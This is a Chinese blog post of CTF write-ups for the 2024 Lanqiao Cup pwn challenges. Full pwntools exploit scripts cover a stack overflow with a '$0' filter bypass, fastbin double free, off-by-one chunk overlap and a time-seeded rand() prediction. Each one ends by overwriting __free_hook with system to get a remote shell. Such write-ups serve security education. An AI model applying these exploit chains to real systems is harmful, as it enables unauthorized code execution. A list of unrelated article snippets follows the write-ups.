当前位置: 首页 > news >正文

2024蓝桥杯初赛决赛pwn题全解

蓝桥杯初赛决赛pwn题解

  • 初赛
    • 第一题
    • 第二题
  • 决赛
    • getting_started
    • babyheap

初赛

第一题

在这里插入图片描述
有system函数,并且能在bss上读入字符

而且存在栈溢出,只要过掉check函数即可
check函数中,主要是对system常规获取权限的参数,进行了过滤,用$0即可

exp:

from pwn import *
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
def s(a):p.send(a)
def sa(a, b):p.sendafter(a, b)
def sl(a):p.sendline(a)
def sla(a, b):p.sendlineafter(a, b)
def r():p.recv()
def pr():print(p.recv())
def rl(a):return p.recvuntil(a)
def inter():p.interactive()
def bug():gdb.attach(p)pause()context(os='linux', arch='amd64', log_level='debug')
p = remote('', )
rl("restricted stack.\n")
pay=b'$0'
s(pay)rl("...\n")
pay=b'a'*0x28+p64(0x0000000000400933)+p64(0x601090)+p64(0x400778)
s(pay)sleep(0.5)
sl(b'exec 1>&0')inter()

第二题

经典堆菜单题目
在这里插入图片描述
发现没有edit功能,考虑double free。版本为2.31 09.9

挨个分析
add函数,申请堆块部分
在这里插入图片描述
只能申请0x50大小的堆块,并且能读入0x50字节的大小内容

free部分,
free之后有置零,所以不存在uaf漏洞

在这里插入图片描述
show就是个正常打印
在这里插入图片描述

漏洞是在这个函数
在这里插入图片描述

在这里插入图片描述

没有置零关键部分,所以存在uaf漏洞,因为只能申请0x50大小的堆块,所以考虑使用fastbin的double free

具体思路:
先把tcachebin填满
之后利用后门函数free一个进fastbin,然后正常再free两个堆块(第二次free的是后门free的那一个)
以此构造出double free,然后把tcache bin全部申请回来,然后再申请一个fastbin的堆块,fastbin的其他堆块就会进入到tcache bin里,因为前面已经构造了double free,所以这次可以修改fd的末位,然后就能申请出来这个错位的堆块A,修改堆块的size,然后free进unsorted bin,之后申请一个小块B,泄露libc,然后free这个小块B,再free小块A(A需要提前伪造好size位)然后申请回来A,把B的fd改为free hook,然后打free hook为system即可

from pwn import *
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
def s(a):p.send(a)
def sa(a, b):p.sendafter(a, b)
def sl(a):p.sendline(a)
def sla(a, b):p.sendlineafter(a, b)
def r():p.recv()
def pr():print(p.recv())
def rl(a):return p.recvuntil(a)
def inter():p.interactive()
def bug():gdb.attach(p)pause()
def get_addr():return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))context(os='linux', arch='amd64', log_level='debug')
p = remote('',)
libc = ELF('./libc.so.6')def add(c):rl("4.exit\n")sl(str(1))sleep(0.2)s(c)def free(i):rl("4.exit\n")sl(str(2))sleep(0.2)sl(str(i))def show(i):rl("4.exit\n")sl(str(3))sleep(0.2)sl(str(i))def free2(i):rl("4.exit\n")sl(str(0x202405))sleep(0.5)sl(str(i))add(b'\x00'*0x38+p64(0x61))
add(b'\x00'*0x28+p64(0x61))
for i in range(12):add(b'a') #为伪造size做准备
for i in range(7):free(i+2)
free(9)
free(10)
free2(0)
free(1)
free(0)
for i in range(7):add(b'a')
add(b'\x30')
add(b'a')
add(b'a')
add(b'\x00'*0x28+p64(0x421)) #修改size位
free(6)
add(b'a')
show(6)
libc_base=get_addr()-0x1ecf61
li(hex(libc_base))
free_hook=libc_base+libc.sym['__free_hook']
li(hex(free_hook))
system,bin=get_sb()
free(11)
free(6)
free(10)
add(b'\x00'*0x28+p64(0x61)+p64(free_hook)) #修改fd位
add(b'/bin/sh\x00')
add(p64(system))
free(10)inter()

哪里不明白,调试调试就行了

决赛

getting_started

比赛的时候,先看的这个题目,本地打通的了,远程打不通,这个随机值纯看脸,我脸黑,重开靶机10次左右,才打通,但是没血了

以时间为种子产生随机值
在这里插入图片描述

然后就是一个栈溢出
在这里插入图片描述

这个开启pie了,并且没法泄露东西,所以就正常输入随机值了
之后就是一个菜单题目
在这里插入图片描述
add函数,最大申请0x100的堆块
在这里插入图片描述

漏洞在edit里
在这里插入图片描述

在这里插入图片描述

这是先读入后判断,所以存在off by one,实际还有个null
思路就是利用off by one修改size,构造堆块重叠

利用思路
因为堆块限制的不强,所以直接free满tc,进入unsorted,之后再申请回来一部分,然后show出来libc
然后,off by one构造堆块重叠,利用重叠的堆块,修改fd,申请到free hook,然后打free hook为system

exp:

from pwn import *
from struct import pack
from ctypes import *
from LibcSearcher import *
import base64
import gmpy2
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
def s(a):p.send(a)
def sa(a, b):p.sendafter(a, b)
def sl(a):p.sendline(a)
def sla(a, b):p.sendlineafter(a, b)
def r():p.recv()
def pr():print(p.recv())
def rl(a):return p.recvuntil(a)
def inter():p.interactive()
def bug():gdb.attach(p)pause()
def get_addr():return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_addr1():return u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
def get_sb():return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))context(os='linux', arch='amd64', log_level='debug')
#p = process('./pwn')
p = remote('39.106.48.123', 22289)
elf = ELF('./pwn')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
#libc = ELF('./libc-2.31.so')def add(idx,size):rl(":")sl(str(1))rl("Index: ")sl(str(idx))rl("Size ")sl(str(size))def edit(idx,c):rl(":")sl(str(2))rl("Index: ")sl(str(idx))rl("Content: ")s(c)def show(idx):rl(":")sl(str(3))rl("Index: ")sl(str(idx))def free(idx):rl(":")sl(str(4))rl("Index: ")sl(str(idx))libc = cdll.LoadLibrary('./libc-2.27.so')
seed =libc.time(0)
srand = libc.srand(seed)a=[0,0,0,0,0,0,0,0,0,0]
for i in range(7):a[i]=int(str(libc.rand()% 80 + 32).encode())
rl("please login >>>>\n")
pay=p8(a[0])+p8(a[1])+p8(a[2])+p8(a[3])+p8(a[4])+p8(a[5])+p8(a[6])
sl(pay)libc=ELF("./libc-2.27.so")for i in range(10):add(i,0x90)
for i in range(7):free(i)free(7)
show(7)
for i in range(7):add(i,0x90)
add(7,0x20)
show(7)
libc_base=get_addr()-0x3ebd30
li(hex(libc_base))
free_hook=libc_base+libc.sym['__free_hook']
system,bin=get_sb()
for i in range(11):add(i+10,0x68)edit(17,b'a'*0x68+p8(0xe1))
free(18)
free(19)
add(18,0xd8)
edit(18,b'a'*0x68+p64(0x71)+p64(free_hook)+b'\n')
add(27,0x68)
edit(27,b'/bin/sh\x00\n')
add(28,0x68)
edit(28,p64(system)+b'\n')
free(27)inter()

babyheap

同样也是4个功能
在这里插入图片描述

申请给限制到0-0x60
在这里插入图片描述

有个后门可以申请一个大堆块
在这里插入图片描述
free函数中存在uaf漏洞
在这里插入图片描述

这个题目和初赛的第二题有点像,这个题目更好布置堆块
也是通过double free,修改fd的末位,不过这个要小布置一下堆块,因为这个edit会在末位填上null,申请出来错位的堆块A,修改一下size,free进unsorted,然后show出libc,取出来这个堆块(A包含的堆块),free进tc里,通过A修改它的fd为free hook,然后打free hook为system

exp:

from pwn import *
from struct import pack
from ctypes import *
from LibcSearcher import *
import base64
import gmpy2
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
def s(a):p.send(a)
def sa(a, b):p.sendafter(a, b)
def sl(a):p.sendline(a)
def sla(a, b):p.sendlineafter(a, b)
def r():p.recv()
def pr():print(p.recv())
def rl(a):return p.recvuntil(a)
def inter():p.interactive()
def bug():gdb.attach(p)pause()
def get_addr():return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))context(os='linux', arch='amd64', log_level='debug')
p = remote('8.147.132.99',23464)
elf = ELF('./pwn')
libc=ELF("./libc.so.6")def add(idx,size):rl(">> \n")sl(str(1))rl("index: \n")sl(str(idx))rl("size: ")sl(str(size))def free(idx):rl(">> \n")sl(str(2))rl("index: \n")sl(str(idx))def edit(idx,c):rl(">> \n")sl(str(3))rl("index: \n")sl(str(idx))rl("contents: \n")s(c)def show(idx):rl(">> \n")sl(str(4))rl("index: \n")sl(str(idx))
def add2(size):rl(">> \n")sl(str(555))rl("find me\n")sl(str(size))add(0,0x60)
add(1,0x60)
add2(0x400)
add(2,0x60)free(1)
free(0)
edit(0,b'\n')
add(3,0x60)
add(4,0x60)
edit(4,p64(0)+p64(0x481)+b'\n')
free(1)
show(1)
libc_base=get_addr()-96-0x10-libc.sym['__malloc_hook']
li(hex(libc_base))
free_hook=libc_base+libc.sym['__free_hook']
system,bin=get_sb()add(5,0x60)
free(2)
free(5)
edit(4,p64(0)+p64(0x71)+p64(free_hook)+b'\n')
add(6,0x60)
edit(6,b'/bin/sh\x00\n')
add(7,0x60)
edit(7,p64(system)+b'\n')
free(6)inter()

相关文章:

2024蓝桥杯初赛决赛pwn题全解

蓝桥杯初赛决赛pwn题解 初赛第一题第二题 决赛getting_startedbabyheap 初赛 第一题 有system函数,并且能在bss上读入字符 而且存在栈溢出,只要过掉check函数即可 check函数中,主要是对system常规获取权限的参数,进行了过滤&…...

大模型多轮问答的两种方式

前言 大模型的多轮问答难点就是在于如何精确识别用户最新的提问的真实意图,而在常见的使用大模型进行多轮对话方式中,我接触到的只有两种方式: 一种是简单地直接使用 user 和 assistant 两个角色将一问一答的会话内容喂给大模型&#xff0c…...

【无标题】1877A

足球锦标赛中有 n支球队。每对队伍匹配一次。每场比赛结束后,Pak Chanek收到两个整数作为比赛结果,即两队在比赛中得分的数量。一支球队的效率等于本队每场比赛的总进球数减去对手每场比赛的总进球数。 比赛结束后,Pak Dengklek会计算每支球…...

直播美颜工具解析:美颜SDK核心技术与性能优化方法

本篇文章,小编将深入解析直播美颜SDK的核心技术及其性能优化方法,以期为开发者提供有价值的参考。 一、美颜SDK核心技术 1.实时人脸检测与识别 美颜SDK的核心技术之一是实时人脸检测与识别。这项技术基于深度学习算法,能够快速、准确地识别…...

YOLOv10开源,高效轻量实时端到端目标检测新标准,速度提升46%

前言 实时目标检测在自动驾驶、机器人导航、物体追踪等领域应用广泛,近年来,YOLO 系列模型凭借其高效的性能和实时性,成为了该领域的主流方法。但传统的 YOLO 模型通常采用非极大值抑制 (NMS) 进行后处理,这会增加推理延迟&#…...

如何解决访问网站时IP被限制的问题?

在互联网上,用户可能会面临一个令人困扰的问题——当尝试访问某个特定的网站时,却发现自己的IP地址被该网站屏蔽。 IP地址被网站屏蔽是一个相对常见的现象,而导致这种情况的原因多种多样,包括恶意行为、违规访问等。本文将解释IP地…...

springboot城市美发管理系统的设计与实现-计算机毕业设计源码71715

摘 要 信息化社会内需要与之针对性的信息获取途径,但是途径的扩展基本上为人们所努力的方向,由于站在的角度存在偏差,人们经常能够获得不同类型信息,这也是技术最为难以攻克的课题。针对城市美发管理系统等问题,对城市…...

微软 Windows 10 22H2 发布可选更新 19045.4474,修复窗口显示问题等

微软今天面向 Windows 10 22H2 版本,发布了 KB5037849 非安全可选更新,用户安装后版本号升至 Build 19045.4474。 IT之家 5 月 30 日消息,微软今天面向 Windows 10 22H2 版本,发布了 KB5037849 非安全可选更新,用户安…...

代码随想录算法训练营第五十三天 | 309.最佳买卖股票时机含冷冻期、714.买卖股票的最佳时机含手续费

309.最佳买卖股票时机含冷冻期 视频讲解:动态规划来决定最佳时机,这次有冷冻期!| LeetCode:309.买卖股票的最佳时机含冷冻期_哔哩哔哩_bilibili代码随想录 解题思路 1. dp[i][0] 第i天持有股票的状态 dp[i][1]第i天不持股的状…...

Polar Web【中等】反序列化

Polar Web【中等】反序列化 Contents Polar Web【中等】反序列化思路&探索EXPPHP生成PayloadGET传递参数 运行&总结 思路&探索 一个经典的反序列化问题,本文采用PHP代码辅助生成序列字符串的方式生成 Payload 来进行手动渗透。 打开站点,分析…...

测试工具链

缺陷管理 bug管理工具 devops---项目管理--缺陷管理 bug管理地址 https://devsecops.mychery.com:8443/chery/project?filterROLE&statusACTIVE bug管理环境 采用公司的devops平台,对每个项目的bug进行管理。目前在使用 接口测试和服务端性能测试 工具…...

【求助】ansible synchronize 问题

求助贴,不是解答贴哈 最近把一台服务器从centos7.9升级到alibaba cloud linux3之后,出现了一个ansible的问题。 版本是ansible8.3.0ansible-core-2.15.3,在使用synchronize模块时,我使用了别名(比如web1)会…...

sql server 把表的所有的null改为0,不要限制某列

DECLARE tableName NVARCHAR(256) Linear -- 替换为你的表名 DECLARE sql NVARCHAR(MAX) SELECT sql UPDATE tableName SET COLUMN_NAME 0 WHERE COLUMN_NAME IS NULL; FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME tableName AND TABLE_SCHEM…...

【C#】WinForm关闭新(二级)界面使主程序关闭

参考视频:https://www.bilibili.com/video/BV1JY4y1G7jo?p14&vd_source1c57ab1b2e551da5b65c0dfb0f05a493 1.背景介绍 主程序界面,点击弹出二级界面(同时隐藏主界面),不做任何设置,这时关闭二级界面…...

光伏电站绘制软件的基本方法

随着可再生能源的快速发展,光伏电站的建设日益受到重视。为了提高光伏电站设计的效率和准确性,光伏电站绘制软件的应用变得至关重要。本文将介绍光伏电站绘制软件的基本方法,包括绘制屋顶、屋脊、障碍物和参照物,铺设光伏板&#…...

【Python】selenium使用find_element时解决【NoSuchElementException】问题的方法

NoSuchElementException 是 Selenium WebDriver 中的一种异常,我们在写selenium.find_element 的时候也比较常见,它会在我们要尝试定位一个不存在的元素时抛出这类错误。 以下是一些解决NoSuchElementException 的常用方法: 检查元素定位器:…...

oracle表锁

--oracle提醒记录被另一个用户锁住: --问题描述:你去修改数据时,报错“ --问题分析:你用select t.*,t.rowid from qxt_logsend_0728修改数据结果集时,计oracle会通过事务锁锁住这个记录,点击记录改变&#…...

父组件调用子组件方法(组合式 API版)

在 Vue 3 中,defineExpose 是一个用于在组合式 API (Composition API) 中暴露组件内部方法或属性的函数。它允许父组件通过 ref 引用子组件实例,并调用子组件暴露的方法或访问其属性。 以下是子组件和父组件如何使用 defineExpose 和 ref 的详细解释和示…...

【动手学深度学习】使用块的网络(VGG)的研究详情

目录 🌊1. 研究目的 🌊2. 研究准备 🌊3. 研究内容 🌍3.1 多层感知机模型选择、欠拟合和过拟合 🌍3.2 练习 🌊4. 研究体会 🌊1. 研究目的 理解块的网络结构;比较块的网络与传统…...

JFinal学习07 控制器——接收数据之getBean()和getModel()

JFinal学习07 控制器——接收数据之getBean()和getModel() 视频来源https://www.bilibili.com/video/BV1Bt411H7J9/?spm_id_from333.337.search-card.all.click 文章目录 JFinal学习07 控制器——接收数据之getBean()和getModel()一、接收数据的类型二、getBean()和getModel()…...

Linux应用开发之网络套接字编程(实例篇)

服务端与客户端单连接 服务端代码 #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <arpa/inet.h> #include <pthread.h> …...

vscode里如何用git

打开vs终端执行如下&#xff1a; 1 初始化 Git 仓库&#xff08;如果尚未初始化&#xff09; git init 2 添加文件到 Git 仓库 git add . 3 使用 git commit 命令来提交你的更改。确保在提交时加上一个有用的消息。 git commit -m "备注信息" 4 …...

在鸿蒙HarmonyOS 5中实现抖音风格的点赞功能

下面我将详细介绍如何使用HarmonyOS SDK在HarmonyOS 5中实现类似抖音的点赞功能&#xff0c;包括动画效果、数据同步和交互优化。 1. 基础点赞功能实现 1.1 创建数据模型 // VideoModel.ets export class VideoModel {id: string "";title: string ""…...

Linux相关概念和易错知识点(42)(TCP的连接管理、可靠性、面临复杂网络的处理)

目录 1.TCP的连接管理机制&#xff08;1&#xff09;三次握手①握手过程②对握手过程的理解 &#xff08;2&#xff09;四次挥手&#xff08;3&#xff09;握手和挥手的触发&#xff08;4&#xff09;状态切换①挥手过程中状态的切换②握手过程中状态的切换 2.TCP的可靠性&…...

自然语言处理——Transformer

自然语言处理——Transformer 自注意力机制多头注意力机制Transformer 虽然循环神经网络可以对具有序列特性的数据非常有效&#xff0c;它能挖掘数据中的时序信息以及语义信息&#xff0c;但是它有一个很大的缺陷——很难并行化。 我们可以考虑用CNN来替代RNN&#xff0c;但是…...

A2A JS SDK 完整教程:快速入门指南

目录 什么是 A2A JS SDK?A2A JS 安装与设置A2A JS 核心概念创建你的第一个 A2A JS 代理A2A JS 服务端开发A2A JS 客户端使用A2A JS 高级特性A2A JS 最佳实践A2A JS 故障排除 什么是 A2A JS SDK? A2A JS SDK 是一个专为 JavaScript/TypeScript 开发者设计的强大库&#xff…...

安全突围:重塑内生安全体系:齐向东在2025年BCS大会的演讲

文章目录 前言第一部分&#xff1a;体系力量是突围之钥第一重困境是体系思想落地不畅。第二重困境是大小体系融合瓶颈。第三重困境是“小体系”运营梗阻。 第二部分&#xff1a;体系矛盾是突围之障一是数据孤岛的障碍。二是投入不足的障碍。三是新旧兼容难的障碍。 第三部分&am…...

Kafka入门-生产者

生产者 生产者发送流程&#xff1a; 延迟时间为0ms时&#xff0c;也就意味着每当有数据就会直接发送 异步发送API 异步发送和同步发送的不同在于&#xff1a;异步发送不需要等待结果&#xff0c;同步发送必须等待结果才能进行下一步发送。 普通异步发送 首先导入所需的k…...

2025年渗透测试面试题总结-腾讯[实习]科恩实验室-安全工程师(题目+回答)

安全领域各种资源&#xff0c;学习文档&#xff0c;以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具&#xff0c;欢迎关注。 目录 腾讯[实习]科恩实验室-安全工程师 一、网络与协议 1. TCP三次握手 2. SYN扫描原理 3. HTTPS证书机制 二…...

什么是VR全景技术

VR全景技术&#xff0c;全称为虚拟现实全景技术&#xff0c;是通过计算机图像模拟生成三维空间中的虚拟世界&#xff0c;使用户能够在该虚拟世界中进行全方位、无死角的观察和交互的技术。VR全景技术模拟人在真实空间中的视觉体验&#xff0c;结合图文、3D、音视频等多媒体元素…...